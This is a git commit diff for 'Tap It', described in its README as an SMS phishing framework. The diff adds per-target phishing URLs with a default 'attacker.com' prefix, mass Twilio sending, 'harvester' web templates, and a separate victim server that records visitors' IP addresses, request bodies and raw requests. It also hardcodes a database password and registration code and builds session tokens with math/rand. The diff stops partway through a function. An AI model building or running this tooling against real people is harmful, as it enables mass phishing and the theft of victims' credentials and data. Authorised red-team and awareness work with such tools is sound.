Browse Source

Inserted web templates, readme, license. Updated logo and favicon

master
Samuel Pua 6 years ago
parent
commit
31796678ae
  1. 11
      LICENSE
  2. 29
      README.md
  3. 6
      build.sh
  4. 2
      psql-start.sh
  5. 6
      tapit-backend/auth.go
  6. 40
      tapit-backend/campaign.go
  7. 114
      tapit-backend/global-settings.go
  8. 67
      tapit-backend/main.go
  9. BIN
      tapit-backend/tapit-backend
  10. 3
      tapit-backend/text-template.go
  11. 9
      tapit-backend/twilio.go
  12. 468
      tapit-backend/web-template.go
  13. 1
      tapit-build/static/es2015-polyfills.js.map
  14. BIN
      tapit-build/static/favicon.ico
  15. BIN
      tapit-build/static/logo.png
  16. 2
      tapit-build/static/main.js
  17. 1
      tapit-build/static/main.js.map
  18. 1
      tapit-build/static/polyfills.js.map
  19. 1
      tapit-build/static/runtime.js.map
  20. 1
      tapit-build/static/styles.js.map
  21. 1
      tapit-build/static/vendor.js.map
  22. BIN
      tapit-build/tapit
  23. 5
      tapit-frontend/angular.json
  24. 7
      tapit-frontend/src/app/app-routing.module.ts
  25. 4
      tapit-frontend/src/app/app.component.html
  26. 8
      tapit-frontend/src/app/app.module.ts
  27. 2
      tapit-frontend/src/app/auth.service.ts
  28. 7
      tapit-frontend/src/app/campaign-new/campaign-new.component.html
  29. 7
      tapit-frontend/src/app/campaign-new/campaign-new.component.ts
  30. 11
      tapit-frontend/src/app/campaign-view/campaign-view.component.css
  31. 4
      tapit-frontend/src/app/campaign-view/campaign-view.component.html
  32. 22
      tapit-frontend/src/app/campaign-view/campaign-view.component.ts
  33. 2
      tapit-frontend/src/app/campaign.service.ts
  34. 2
      tapit-frontend/src/app/campaign/campaign.component.html
  35. 12
      tapit-frontend/src/app/global-settings.service.spec.ts
  36. 60
      tapit-frontend/src/app/global-settings.service.ts
  37. 0
      tapit-frontend/src/app/global-settings/global-settings.component.css
  38. 56
      tapit-frontend/src/app/global-settings/global-settings.component.html
  39. 25
      tapit-frontend/src/app/global-settings/global-settings.component.spec.ts
  40. 35
      tapit-frontend/src/app/global-settings/global-settings.component.ts
  41. 2
      tapit-frontend/src/app/text-template-new/text-template-new.component.html
  42. 1
      tapit-frontend/src/app/text-template-new/text-template-new.component.ts
  43. 0
      tapit-frontend/src/app/web-template-new/web-template-new.component.css
  44. 94
      tapit-frontend/src/app/web-template-new/web-template-new.component.html
  45. 25
      tapit-frontend/src/app/web-template-new/web-template-new.component.spec.ts
  46. 46
      tapit-frontend/src/app/web-template-new/web-template-new.component.ts
  47. 12
      tapit-frontend/src/app/web-template.service.spec.ts
  48. 97
      tapit-frontend/src/app/web-template.service.ts
  49. 0
      tapit-frontend/src/app/web-template/web-template.component.css
  50. 29
      tapit-frontend/src/app/web-template/web-template.component.html
  51. 25
      tapit-frontend/src/app/web-template/web-template.component.spec.ts
  52. 17
      tapit-frontend/src/app/web-template/web-template.component.ts
  53. BIN
      tapit-frontend/src/favicon.ico
  54. BIN
      tapit-frontend/src/logo.png

11
LICENSE

@ -0,0 +1,11 @@
Copyright 2019 Samuel Pua. All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

29
README.md

@ -0,0 +1,29 @@
# Tap It - Text Phishing Framework
Tap It is a SMS phishing framework that allows handling of large SMS phishing campaigns. It automatically handles text template and allows basic handling of web template should phishing URLs be sent through the text.
### Prerequisites
Tap It is built on Go, and have all required libraries built-in the binary. To attempt to recompile the application, the following is required:
* Go
* Angular CLI
* GORM
* Gorilla Mux
* Teabag XLSX Library
## Deployment
The entire application is designed to be Dockerised. To build the Docker environment with the pre-compiled binaries, simple run the following:
```
sudo docker-compose up
```
## Authors
* **Samuel Pua** - *Initial work* - [GitHub](https://github.com/telboon)
## License
This project is licensed under the BSD License - see the [LICENSE](LICENSE) file for details

6
build.sh

@ -8,7 +8,13 @@ cd ./tapit-frontend
ng build --optimization
cd ..
# copy front-end
cp -r ./tapit-frontend/dist/tapit-frontend/* ./tapit-build/static/
# remove maps
rm ./tapit-build/static/*.map
# copy back-end
cp ./tapit-backend/tapit-backend ./tapit-build/tapit
# run server
./tapit-build/tapit

2
psql-start.sh

@ -1,4 +1,4 @@
#!/bin/bash
sudo docker rm postgres --force
sudo docker run -d -e POSTGRES_USER="tapit" -e POSTGRES_PASSWORD="secret-tapit-password" -e POSTGRES_DB="tapit" --name postgres postgres
sudo docker run -d -p5432:5432 -e POSTGRES_USER="tapit" -e POSTGRES_PASSWORD="secret-tapit-password" -e POSTGRES_DB="tapit" --name postgres postgres

6
tapit-backend/auth.go

@ -7,7 +7,6 @@ import (
"encoding/json"
"github.com/jinzhu/gorm"
"math/rand"
"time"
"golang.org/x/crypto/bcrypt"
)
@ -104,7 +103,7 @@ func (tapit *Tapit) register(w http.ResponseWriter, r *http.Request) {
}
// checks if secret code is correct
if userJson.SecretCode != tapit.globalSettings.secretRegistrationCode {
if userJson.SecretCode != tapit.globalSettings.SecretRegistrationCode {
messageOutput := NotificationJson{
Text: "Your secret code is incorrect. Please try again.",
ResultType: "failure",
@ -280,7 +279,6 @@ func (tapit *Tapit) deleteCookie() http.Cookie {
func generateToken() string {
var tokenResult strings.Builder
rand.Seed(time.Now().UnixNano())
var r int
tokenCharset := "abcdefghijklmnopqrstuvwxyz0123456789"
for i:=0; i<16; i++ {
@ -291,7 +289,7 @@ func generateToken() string {
}
func (tapit *Tapit) hashPassword(password string) (string, error) {
bytes, err := bcrypt.GenerateFromPassword([]byte(password), tapit.globalSettings.bcryptCost)
bytes, err := bcrypt.GenerateFromPassword([]byte(password), tapit.globalSettings.BcryptCost)
return string(bytes), err
}

40
tapit-backend/campaign.go

@ -54,6 +54,7 @@ type Job struct {
gorm.Model
CampaignId uint
CurrentStatus string // enum Failed, Queued, Sent, Delivered, Not Started
WebStatus string // enum Not Visited, xx visits
TimeSent time.Time
ProviderTag string
AccSID string
@ -63,14 +64,21 @@ type Job struct {
ToNum string
ResultStr string
MessageSid string
WebRoute string
FullUrl string
Visits []Visit
}
type JobJson struct {
Id uint `json:"id"`
CurrentStatus string `json:"currentStatus"`
WebStatus string `json:"webStatus"`
TimeSent time.Time `json:"timeSent"`
FromNum string `json:"fromNum"`
ToNum string `json:"toNum"`
WebRoute string `json:"webRoute"`
FullUrl string `json:"fullUrl"`
Visits []VisitJson `json:"visitJson"`
}
type TwilioMessageJson struct {
@ -187,14 +195,24 @@ func (tapit *Tapit) createCampaign(w http.ResponseWriter, r *http.Request) {
newCampaign.WebTemplateId = newCampaignJson.WebTemplateId
newCampaign.ProviderTag = newCampaignJson.ProviderTag
// save campaign first
tapit.db.NewRecord(&newCampaign)
tapit.db.Create(&newCampaign)
if newCampaign.ID == 0 {
notifyPopup(w, r, "failure", "Failed to create campaign", nil)
return
}
// update records
for _, record := range newRecords {
var newJob Job
newJob.CurrentStatus = "Not Started"
newJob.WebStatus = "Not Visited"
newJob.ProviderTag = newCampaign.ProviderTag
newJob.AccSID = newAccSID
newJob.AuthToken = newAuthToken
newJob.FromNum = newCampaign.FromNumber
newJob.WebRoute = tapit.generateWebTemplateRoute()
newJob.FullUrl = tapit.globalSettings.WebTemplatePrefix + newJob.WebRoute
// interpreting records
var newBodyText string
@ -204,20 +222,17 @@ func (tapit *Tapit) createCampaign(w http.ResponseWriter, r *http.Request) {
newBodyText = strings.Replace(newBodyText, "{lastName}", record.LastName, -1)
newBodyText = strings.Replace(newBodyText, "{alias}", record.Alias, -1)
newBodyText = strings.Replace(newBodyText, "{phoneNumber}", record.PhoneNumber, -1)
newBodyText = strings.Replace(newBodyText, "{url}", newJob.FullUrl, -1)
newJob.BodyText = newBodyText
// saving it
newCampaign.Jobs = append(newCampaign.Jobs, newJob)
}
// update database
tapit.db.NewRecord(&newCampaign)
tapit.db.Create(&newCampaign)
if newCampaign.ID == 0 {
notifyPopup(w, r, "failure", "Failed to create campaign", nil)
return
// update campaign
tapit.db.Save(&newCampaign)
}
newCampaignJson.Id = newCampaign.ID
newCampaignJson.CreateDate = newCampaign.CreatedAt
newCampaignJson.Size = newCampaign.Size
@ -301,7 +316,11 @@ func campaignToJson(campaign Campaign) CampaignJson {
// iterating jobs
for _, job := range campaign.Jobs {
var currJson JobJson
currJson.Id = job.ID
currJson.CurrentStatus = job.CurrentStatus
currJson.WebStatus = job.WebStatus
currJson.WebRoute = job.WebRoute
currJson.FullUrl = job.FullUrl
currJson.TimeSent = job.TimeSent
currJson.FromNum = job.FromNum
currJson.ToNum = job.ToNum
@ -425,7 +444,7 @@ func (tapit *Tapit) workerCampaign(campaign Campaign) {
var wg sync.WaitGroup
jobChan = make(chan JobComms, 1)
for i:=0; i<tapit.globalSettings.threadsPerCampaign; i++ {
for i:=0; i<tapit.globalSettings.ThreadsPerCampaign; i++ {
wg.Add(1)
go tapit.workerJob(jobChan, &wg)
}
@ -436,7 +455,7 @@ func (tapit *Tapit) workerCampaign(campaign Campaign) {
if campaignComms.Campaign.ID == campaign.ID {
if campaignComms.Action == "stop" {
// kill all
for i:=0; i<tapit.globalSettings.threadsPerCampaign; i++ {
for i:=0; i<tapit.globalSettings.ThreadsPerCampaign; i++ {
var stopComms JobComms
stopComms.Action = "stop"
jobChan <- stopComms
@ -468,7 +487,7 @@ func (tapit *Tapit) workerCampaign(campaign Campaign) {
}
}
}
for i:=0; i<tapit.globalSettings.threadsPerCampaign; i++ {
for i:=0; i<tapit.globalSettings.ThreadsPerCampaign; i++ {
var stopComms JobComms
stopComms.Action = "stop"
jobChan <- stopComms
@ -512,6 +531,7 @@ func (tapit *Tapit) workerJob(jobChan chan JobComms, wg *sync.WaitGroup) {
} else if twilioResult.Status == "delivered" {
currentJob.Job.MessageSid = twilioResult.Sid
currentJob.Job.CurrentStatus = "Delivered"
currentJob.Job.TimeSent = time.Now()
} else {
currentJob.Job.CurrentStatus = "Failed"
}

114
tapit-backend/global-settings.go

@ -0,0 +1,114 @@
package main
import (
"github.com/jinzhu/gorm"
"strings"
"net/http"
"io/ioutil"
"encoding/json"
)
// GlobalSettings contains basic common settings across the app
type GlobalSettings struct {
gorm.Model
SecretRegistrationCode string
ThreadsPerCampaign int
BcryptCost int
MaxRequestRetries int
WaitBeforeRetry int
WebTemplatePrefix string
WebTemplateRoute string
}
type GlobalSettingsJson struct {
SecretRegistrationCode string `json:"secretRegistrationCode"`
ThreadsPerCampaign int `json:"threadsPerCampaign"`
BcryptCost int `json:"bcryptCost"`
MaxRequestRetries int `json:"maxRequestRetries"`
WaitBeforeRetry int `json:"waitBeforeRetry"`
WebTemplatePrefix string `json:"webTemplatePrefix"`
WebTemplateRoute string `json:"webTemplateRoute"`
}
func (tapit *Tapit) handleGlobalSettings(w http.ResponseWriter, r *http.Request) {
if strings.ToUpper(r.Method) == "PUT" {
tapit.updateGlobalSettings(w, r)
} else if strings.ToUpper(r.Method) == "GET" {
tapit.getGlobalSettings(w,r)
} else {
http.Error(w, "HTTP method not implemented", 400)
return
}
}
func (tapit *Tapit) updateGlobalSettings(w http.ResponseWriter, r *http.Request) {
requestBody, err:= ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "Bad request", 400)
return
}
var globalSettingsJson GlobalSettingsJson
var globalSettings GlobalSettings
err = tapit.db.Last(&globalSettings).Error
if err != nil {
http.Error(w, "Bad request", 400)
return
}
err = json.Unmarshal(requestBody, &globalSettingsJson)
if err != nil {
http.Error(w, "Bad request", 400)
return
}
if globalSettingsJson.SecretRegistrationCode != "" && globalSettingsJson.ThreadsPerCampaign != 0 && globalSettingsJson.BcryptCost != 0 && globalSettingsJson.WebTemplatePrefix != "" && globalSettingsJson.WebTemplateRoute != "" {
globalSettings.SecretRegistrationCode = globalSettingsJson.SecretRegistrationCode
globalSettings.ThreadsPerCampaign = globalSettingsJson.ThreadsPerCampaign
globalSettings.BcryptCost = globalSettingsJson.BcryptCost
globalSettings.MaxRequestRetries = globalSettingsJson.MaxRequestRetries
globalSettings.WaitBeforeRetry = globalSettingsJson.WaitBeforeRetry
globalSettings.WebTemplatePrefix = globalSettingsJson.WebTemplatePrefix
globalSettings.WebTemplateRoute = globalSettingsJson.WebTemplateRoute
err = tapit.db.Save(&globalSettings).Error
if err != nil {
notifyPopup(w, r, "failure", "Failed to update global settings", nil)
return
} else {
tapit.globalSettings = globalSettings
notifyPopup(w, r, "success", "Successfully updated global settings", globalSettingsJson)
return
}
} else {
notifyPopup(w, r, "failure", "Failed to update global settings", nil)
return
}
}
func (tapit *Tapit) getGlobalSettings(w http.ResponseWriter, r *http.Request) {
var globalSettingsJson GlobalSettingsJson
var globalSettings GlobalSettings
err := tapit.db.Last(&globalSettings).Error
if err == nil {
globalSettingsJson.SecretRegistrationCode = globalSettings.SecretRegistrationCode
globalSettingsJson.ThreadsPerCampaign = globalSettings.ThreadsPerCampaign
globalSettingsJson.BcryptCost = globalSettings.BcryptCost
globalSettingsJson.MaxRequestRetries = globalSettings.MaxRequestRetries
globalSettingsJson.WaitBeforeRetry = globalSettings.WaitBeforeRetry
globalSettingsJson.WebTemplatePrefix = globalSettings.WebTemplatePrefix
globalSettingsJson.WebTemplateRoute = globalSettings.WebTemplateRoute
jsonResults, err := json.Marshal(globalSettingsJson)
if err != nil {
http.Error(w, err.Error(), 500)
return
} else {
w.Header().Set("Content-Type", "application/json")
w.Write(jsonResults)
return
}
} else {
http.Error(w, "Bad request", 400)
return
}
}

67
tapit-backend/main.go

@ -8,23 +8,18 @@ import (
"io/ioutil"
"net/http"
"os"
"time"
"path/filepath"
"math/rand"
)
// Tapit is the general struct with shared objects
type Tapit struct {
db *gorm.DB
globalSettings GlobalSettings
campaignChan chan CampaignComms
}
type GlobalSettings struct {
secretRegistrationCode string
threadsPerCampaign int
bcryptCost int
maxRequestRetries int
waitBeforeRetry int
}
func generateFileHandler(path string) func(w http.ResponseWriter, r *http.Request) {
return func(w http.ResponseWriter, r *http.Request) {
r.Header.Add("Cache-Control", "private, max-age=604800") // 7 days
@ -66,23 +61,43 @@ func main() {
defer db.Close()
// DB Migrations
db.AutoMigrate(&GlobalSettings{})
db.AutoMigrate(&Session{})
db.AutoMigrate(&User{})
db.AutoMigrate(&TextTemplate{})
db.AutoMigrate(&WebTemplate{})
db.AutoMigrate(&TwilioProvider{})
db.AutoMigrate(&Phonebook{})
db.AutoMigrate(&PhoneRecord{})
db.AutoMigrate(&Campaign{})
db.AutoMigrate(&Job{})
db.AutoMigrate(&Visit{})
// Setting up Tapit app
var tapit Tapit
tapit.db = db
tapit.globalSettings.secretRegistrationCode = "Super-Secret-Code"
tapit.globalSettings.threadsPerCampaign = 2
tapit.globalSettings.bcryptCost = 12
tapit.globalSettings.maxRequestRetries = 5
tapit.globalSettings.waitBeforeRetry = 1000
var globalSettings GlobalSettings
// handle global settings
err = tapit.db.Last(&globalSettings).Error
if err != nil {
globalSettings.SecretRegistrationCode = "Super-Secret-Code"
globalSettings.ThreadsPerCampaign = 2
globalSettings.BcryptCost = 12
globalSettings.MaxRequestRetries = 5
globalSettings.WaitBeforeRetry = 1000
globalSettings.WebTemplatePrefix = "https://www.attacker.com/"
globalSettings.WebTemplateRoute = "/"
tapit.db.NewRecord(&globalSettings)
tapit.db.Create(&globalSettings)
}
tapit.globalSettings = globalSettings
// Seeding random
rand.Seed(time.Now().UnixNano())
// Clear running campaigns & starting background jobs
tapit.clearRunningCampaigns()
@ -114,6 +129,10 @@ func main() {
"/text-template",
"/text-template/new",
"/text-template/{id}/edit",
"/web-template",
"/web-template/new",
"/web-template/{id}/edit",
"/global-settings",
"/provider",
}
indexPath := dir + "/static/index.html"
@ -127,6 +146,8 @@ func main() {
r.Handle("/api/text-template",tapit.authenticationHandler(tapit.handleTextTemplate))
r.Handle("/api/text-template/{id}",tapit.authenticationHandler(tapit.handleSpecificTextTemplate))
r.Handle("/api/web-template",tapit.authenticationHandler(tapit.handleWebTemplate))
r.Handle("/api/web-template/{id}",tapit.authenticationHandler(tapit.handleSpecificWebTemplate))
r.Handle("/api/provider/twilio",tapit.authenticationHandler(tapit.handleTwilioProvider))
r.Handle("/api/phonebook",tapit.authenticationHandler(tapit.handlePhonebook))
r.Handle("/api/phonebook/{id}",tapit.authenticationHandler(tapit.handleSpecificPhonebook))
@ -135,9 +156,21 @@ func main() {
r.Handle("/api/campaign/{id}",tapit.authenticationHandler(tapit.handleSpecificCampaign))
r.Handle("/api/campaign/{id}/start",tapit.authenticationHandler(tapit.handleStartCampaign))
r.Handle("/api/campaign/{id}/pause",tapit.authenticationHandler(tapit.handleStopCampaign))
r.Handle("/api/globalsettings",tapit.authenticationHandler(tapit.handleGlobalSettings))
r.Handle("/api/jobs/{id}/visits",tapit.authenticationHandler(tapit.handleDownloadView))
// Starting management web server
r.Handle("/", r)
log.Println("Starting management web server on port 8000...")
go http.ListenAndServe(":8000", r)
// Handle WebTemplate Routes
webTemplateRouter := mux.NewRouter()
webTemplateRouter.HandleFunc("/{route}", tapit.webTemplateRouteHandler)
// Starting victim route web server
webTemplateRouter.Handle("/", webTemplateRouter)
log.Println("Starting victim routes on port 8001...")
http.ListenAndServe(":8001", webTemplateRouter)
// Starting web server
http.Handle("/", r)
log.Println("Starting web server...")
http.ListenAndServe(":8000", nil)
}

BIN
tapit-backend/tapit-backend

Binary file not shown.

3
tapit-backend/text-template.go

@ -11,12 +11,14 @@ import (
"strconv"
)
// TextTemplate is the persistent object within Postgres
type TextTemplate struct {
gorm.Model
Name string
TemplateStr string
}
// TextTemplateJson is the temporary object for JSON data passing
type TextTemplateJson struct {
Id int `json:"id"`
Name string `json:"name"`
@ -238,3 +240,4 @@ func textTemplateToJson(textTemplate TextTemplate) TextTemplateJson {
result.CreateDate = textTemplate.CreatedAt
return result
}

9
tapit-backend/twilio.go

@ -128,12 +128,12 @@ func (tapit *Tapit) twilioSend(accSid string, accToken string, bodyText string,
// sending request
res, err := client.Do(newRequest1)
retriesLeft := tapit.globalSettings.maxRequestRetries
retriesLeft := tapit.globalSettings.MaxRequestRetries
for err != nil && retriesLeft > 0 {
log.Println("Error in sending request")
res, err = client.Do(newRequest1)
retriesLeft -= 1
time.Sleep(time.Duration(tapit.globalSettings.waitBeforeRetry) * time.Millisecond)
time.Sleep(time.Duration(tapit.globalSettings.WaitBeforeRetry) * time.Millisecond)
}
// exit gracefully if can't
@ -160,12 +160,12 @@ func (tapit *Tapit) twilioCheck(accSid string, accToken string, messageSid strin
// sending request
res, err := client.Do(newRequest1)
retriesLeft := tapit.globalSettings.maxRequestRetries
retriesLeft := tapit.globalSettings.MaxRequestRetries
for err != nil && retriesLeft > 0 {
log.Println("Error in sending request")
res, err = client.Do(newRequest1)
retriesLeft -= 1
time.Sleep(time.Duration(tapit.globalSettings.waitBeforeRetry) * time.Millisecond)
time.Sleep(time.Duration(tapit.globalSettings.WaitBeforeRetry) * time.Millisecond)
}
// exit gracefully if can't
@ -207,6 +207,7 @@ func (tapit *Tapit) workerTwilioChecker() {
} else if twilioResult.Status == "delivered" {
job.MessageSid = twilioResult.Sid
job.CurrentStatus = "Delivered"
job.TimeSent = time.Now()
}
tapit.db.Save(&job)
}

468
tapit-backend/web-template.go

@ -0,0 +1,468 @@
package main
import (
"github.com/jinzhu/gorm"
"github.com/gorilla/mux"
"time"
"log"
"math/rand"
"net/http"
"net/http/httputil"
"strings"
"encoding/json"
"io/ioutil"
"strconv"
"encoding/csv"
"bytes"
)
// WebTemplate is the persistent object within Postgres
type WebTemplate struct {
gorm.Model
Name string
TemplateType string // enum redirect, harvester
RedirectAgent string
RedirectNegAgent string
RedirectPlaceholderHtml string
RedirectUrl string
HarvesterBeforeHtml string
HarvesterAfterHtml string
}
// WebTemplateJson is the temporary object for JSON data passing
type WebTemplateJson struct {
Id int `json:"id"`
Name string `json:"name"`
TemplateType string `json:"templateType"`
RedirectAgent string `json:"redirectAgent"`
RedirectNegAgent string `json:"redirectNegAgent"`
RedirectPlaceholderHtml string `json:"redirectPlaceholderHtml"`
RedirectUrl string `json:"redirectUrl"`
HarvesterBeforeHtml string `json:"harvesterBeforeHtml"`
HarvesterAfterHtml string `json:"harvesterAfterHtml"`
CreateDate time.Time `json:"createDate"`
}
type Visit struct {
gorm.Model
JobId uint
SourceIp string
UserAgent string
Method string
BodyContent string
RawRequest string
}
type VisitJson struct {
Id uint `json:"id"`
JobId uint `json:"jobId"`
SourceIP string `json:"sourceIp"`
UserAgent string `json:"userAgent"`
Method string `json:"method"`
BodyContent string `json:"bodyContent"`
RawRequest string `json:"rawRequest"`
CreateDate time.Time `json:"createDate"`
}
func (tapit *Tapit) handleWebTemplate(w http.ResponseWriter, r *http.Request) {
if strings.ToUpper(r.Method) == "GET" {
tapit.getWebTemplates(w, r)
} else if strings.ToUpper(r.Method) == "POST" {
tapit.createWebTemplate(w, r)
} else {
http.Error(w, "HTTP method not implemented", 400)
return
}
}
func (tapit *Tapit) getWebTemplates(w http.ResponseWriter, r *http.Request) {
webTemplates := []WebTemplate{}
tapit.db.Find(&webTemplates)
jsonResults, err := json.Marshal(webTemplatesToJson(webTemplates))
if err != nil {
http.Error(w, err.Error(), 500)
return
} else {
w.Header().Set("Content-Type", "application/json")
w.Write(jsonResults)
return
}
}
func webTemplatesToJson(webTemplates []WebTemplate) []WebTemplateJson {
webTemplateJson := make([]WebTemplateJson, 0)
for _, webTemplate := range webTemplates {
var currentWebTemplateJson WebTemplateJson
currentWebTemplateJson.Id = int(webTemplate.ID)
currentWebTemplateJson.Name = webTemplate.Name
currentWebTemplateJson.TemplateType = webTemplate.TemplateType
currentWebTemplateJson.RedirectAgent = webTemplate.RedirectAgent
currentWebTemplateJson.RedirectNegAgent = webTemplate.RedirectNegAgent
currentWebTemplateJson.RedirectPlaceholderHtml = webTemplate.RedirectPlaceholderHtml
currentWebTemplateJson.RedirectUrl = webTemplate.RedirectUrl
currentWebTemplateJson.HarvesterBeforeHtml = webTemplate.HarvesterBeforeHtml
currentWebTemplateJson.HarvesterAfterHtml = webTemplate.HarvesterAfterHtml
currentWebTemplateJson.CreateDate = webTemplate.CreatedAt
webTemplateJson = append(webTemplateJson, currentWebTemplateJson)
}
return webTemplateJson
}
func (tapit *Tapit) createWebTemplate(w http.ResponseWriter, r *http.Request) {
// start doing work
requestBody, err:= ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "Bad request", 400)
return
}
newWebTemplateJson := WebTemplateJson{}
err = json.Unmarshal(requestBody, &newWebTemplateJson)
if err != nil {
http.Error(w, "Bad request", 400)
return
}
if newWebTemplateJson.Name != "" && newWebTemplateJson.TemplateType != "" {
// check that not both user agents are filled
if newWebTemplateJson.RedirectAgent != "" && newWebTemplateJson.RedirectNegAgent != "" {
notifyPopup(w, r, "failure", "Please fill in only either positive or negative redirect user agent.", nil)
return
}
newWebTemplate := jsonToWebTemplate(newWebTemplateJson)
tapit.db.NewRecord(&newWebTemplate)
tapit.db.Create(&newWebTemplate)
if newWebTemplate.ID == 0 {
notifyPopup(w, r, "failure", "Failed to create text template", nil)
return
}
newWebTemplateJson.Id = int(newWebTemplate.ID)
newWebTemplateJson.CreateDate = newWebTemplate.CreatedAt
notifyPopup(w, r, "success", "Successfully added new text template", newWebTemplateJson)
return
} else {
notifyPopup(w, r, "failure", "Please fill in all details", nil)
return
}
}
func jsonToWebTemplate(currentWebTemplateJson WebTemplateJson) WebTemplate {
var webTemplate WebTemplate
webTemplate.Name = currentWebTemplateJson.Name
webTemplate.TemplateType = currentWebTemplateJson.TemplateType
webTemplate.RedirectAgent = currentWebTemplateJson.RedirectAgent
webTemplate.RedirectNegAgent = currentWebTemplateJson.RedirectNegAgent
webTemplate.RedirectPlaceholderHtml = currentWebTemplateJson.RedirectPlaceholderHtml
webTemplate.RedirectUrl = currentWebTemplateJson.RedirectUrl
webTemplate.HarvesterBeforeHtml = currentWebTemplateJson.HarvesterBeforeHtml
webTemplate.HarvesterAfterHtml = currentWebTemplateJson.HarvesterAfterHtml
return webTemplate
}
func (tapit *Tapit) handleSpecificWebTemplate(w http.ResponseWriter, r *http.Request) {
if strings.ToUpper(r.Method) == "PUT" {
tapit.updateWebTemplate(w, r)
} else if strings.ToUpper(r.Method) == "DELETE" {
tapit.deleteWebTemplate(w,r)
} else if strings.ToUpper(r.Method) == "GET" {
tapit.getWebTemplate(w,r)
} else {
http.Error(w, "HTTP method not implemented", 400)
return
}
}
func (tapit *Tapit) updateWebTemplate(w http.ResponseWriter, r *http.Request) {
requestBody, err:= ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "Bad request", 400)
return
}
var newWebTemplateJson WebTemplateJson
err = json.Unmarshal(requestBody, &newWebTemplateJson)
if err != nil {
http.Error(w, "Bad request", 400)
return
}
if newWebTemplateJson.Name != "" && newWebTemplateJson.TemplateType != "" {
var newWebTemplate WebTemplate
// get current phonebook
var dbSearchWT WebTemplate
dbSearchWT.ID = uint(newWebTemplateJson.Id)
tapit.db.Where(&dbSearchWT).First(&newWebTemplate)
if newWebTemplate.ID == uint(newWebTemplateJson.Id) {
// update name & template
newWebTemplate.Name = newWebTemplateJson.Name
newWebTemplate.TemplateType = newWebTemplateJson.TemplateType
newWebTemplate.RedirectAgent = newWebTemplateJson.RedirectAgent
newWebTemplate.RedirectNegAgent = newWebTemplateJson.RedirectNegAgent
newWebTemplate.RedirectPlaceholderHtml = newWebTemplateJson.RedirectPlaceholderHtml
newWebTemplate.RedirectUrl = newWebTemplateJson.RedirectUrl
newWebTemplate.HarvesterBeforeHtml = newWebTemplateJson.HarvesterBeforeHtml
newWebTemplate.HarvesterAfterHtml = newWebTemplateJson.HarvesterAfterHtml
// update database
tapit.db.Save(&newWebTemplate)
if newWebTemplate.ID == 0 {
notifyPopup(w, r, "failure", "Failed to update phonebook", nil)
return
}
newWebTemplateJson.Id = int(newWebTemplate.ID)
newWebTemplateJson.CreateDate = newWebTemplate.CreatedAt
notifyPopup(w, r, "success", "Successfully updated web template", newWebTemplateJson)
return
} else {
notifyPopup(w, r, "failure", "Failed to update web template", nil)
return
}
} else {
notifyPopup(w, r, "failure", "Please enter all details", nil)
return
}
}
func (tapit *Tapit) deleteWebTemplate(w http.ResponseWriter, r *http.Request) {
vars := mux.Vars(r)
tempID, err := strconv.Atoi(vars["id"])
if err != nil {
http.Error(w, "Bad request", 400)
return
}
// start working
var webTemplate WebTemplate
// get tt
var dbSearchWT WebTemplate
dbSearchWT.ID = uint(tempID)
tapit.db.Where(dbSearchWT).First(&webTemplate)
if webTemplate.ID == uint(tempID) {
// finally delete it
tapit.db.Delete(&webTemplate)
notifyPopup(w, r, "success", "Successfully deleted phonebook", nil)
return
} else {
http.Error(w, "Bad request", 400)
return
}
}
func (tapit *Tapit) getWebTemplate(w http.ResponseWriter, r *http.Request) {
vars := mux.Vars(r)
tempID, err := strconv.Atoi(vars["id"])
if err != nil {
http.Error(w, "Bad request", 400)
return
}
// start working
var webTemplate WebTemplate
// get tt
var dbSearchWT WebTemplate
dbSearchWT.ID = uint(tempID)
tapit.db.Where(dbSearchWT).First(&webTemplate)
if webTemplate.ID == uint(tempID) {
jsonResults, err := json.Marshal(webTemplateToJson(webTemplate))
if err != nil {
http.Error(w, err.Error(), 500)
return
} else {
w.Header().Set("Content-Type", "application/json")
w.Write(jsonResults)
return
}
} else {
http.Error(w, "Bad request", 400)
return
}
}
func (tapit *Tapit) generateWebTemplateRoute() string {
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
// generate 5 char
var newRoute string
var successRoute bool
successRoute = false
for !successRoute {
newRoute = ""
for i:=0; i<5; i++ {
num := rand.Int() % len(charset)
newRoute = newRoute + string(charset[num])
// search if route already exists
var dbSearchJob Job
var jobs []Job
dbSearchJob.WebRoute = newRoute
tapit.db.Where(&dbSearchJob).Find(&jobs)
if len(jobs) == 0 {
successRoute = true
}
}
}
return newRoute
}
func webTemplateToJson(webTemplate WebTemplate) WebTemplateJson {
var currentWebTemplateJson WebTemplateJson
currentWebTemplateJson.Id = int(webTemplate.ID)
currentWebTemplateJson.Name = webTemplate.Name
currentWebTemplateJson.TemplateType = webTemplate.TemplateType
currentWebTemplateJson.RedirectAgent = webTemplate.RedirectAgent
currentWebTemplateJson.RedirectNegAgent = webTemplate.RedirectNegAgent
currentWebTemplateJson.RedirectPlaceholderHtml = webTemplate.RedirectPlaceholderHtml
currentWebTemplateJson.RedirectUrl = webTemplate.RedirectUrl
